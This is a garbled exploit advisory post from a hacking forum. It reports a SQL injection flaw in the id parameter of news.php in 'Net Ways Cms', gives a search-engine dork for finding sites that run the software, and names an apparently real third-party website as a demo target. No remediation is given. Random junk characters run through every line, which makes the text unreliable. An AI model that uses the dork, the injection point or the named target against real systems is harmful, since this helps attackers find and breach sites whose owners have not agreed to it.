################################################################################??######## 2 H: t3 d4 q/ G9 L+ U
#
7 N' @ o) \- O: |# Exploit Title : Net Ways Cms Sql Injection Vulnerability
/ e L- v" N& h# s8 F. r H# 1 D; P7 ]! D% g, |# z* R' o
# Author : IrIsT.Ir 8 [* w; ] S1 a1 {1 w+ E
#
0 Y* [9 n7 _: w- _ {# Discovered By : Am!r 1 h' l! a$ U8 G4 J- l9 p& ~
#
3 D( G; r" }6 `# Home : http://IrIsT.Ir/forum 6 m: L& ^7 Y, F8 d2 ?& F1 k
#
8 A' v6 M! _! |2 \- f. Z# Software Link : http://www.netways.com/ www.political-security.com
6 V/ i) h" N3 A- ?, G% B6 z# 6 A9 Z3 f1 J# C
# Security Risk : High $ A; M. b' `$ @8 t
# 7 z/ ]" ]' v0 ~1 X# @, e) t- J
# Version : All Version
: Y! x! b0 l1 c# + U2 G9 ^" F7 S8 J- I; \
# Tested on : GNU/Linux Ubuntu - Windows Server - win7 9 [. U( o+ m2 j3 Y; L% s
#
, c; P/ \+ g5 f) ?7 y5 g# Dork : intext:"Designed & developed by NetWays"
$ h9 W; d" i3 Z) Q- ?#
$ |7 ?8 Y0 c o+ D* w0 _################################################################################??########
- g, ] w2 ?" ^5 _8 s) D# 2 [ f5 u: i! E
# Expl0iTs : ( s/ h: [( \; H- `6 a0 \
#
) P, K+ ?( p9 @8 A4 d$ x# http://target.com/news.php?id=[Sql]
1 }/ p9 C& g% @( L2 ]6 }3 [4 G( I, i# . O; S4 q: w7 K% P$ `
# ) x* h2 W- h$ h/ M+ |9 x4 v
# D3mo : # Y$ M5 D d. b
#
3 _3 f- N) | Y4 x' v# http://compagnieparento.com/news.php?id=7[Sql]
. e! Y* U, w4 G' F# . e( x1 b6 c- [/ e
################################################################################??########
# ]! ]0 P V! }) e% A; A1 k# * Y, J2 T1 _( D# S% d8 n$ ]0 R" h5 h' f$ S
# Greats : B3HZ4D - nimaarek - Dead.Zone - C0dex - SpooferNinja - TaK.FaNaR - Nafsh - BestC0d3r / M' B s6 ]- z1 Y1 e: M" A1 E
#
3 C9 [2 }6 g$ T$ o) L# 0x0ptim0us - TaK.FaNaR - m3hdi - F@rid - Siamak.Black - H4x0r - dr.tofan - skote_vahshat - d3c0d3r
( Y8 {* I" H" y$ r9 x) I#
, {( P3 S4 Q% ^' M+ R+ Z/ s- W+ V# Mr.Xpr & M.R.S.CO & Mr.Cicili & H-SK33PY & All Members In Www.IrIsT.Ir/forum * @3 c6 E* ~% w& e% i( e' W8 r! l2 Z
#
4 N) m# f J1 K################################################################################??######## |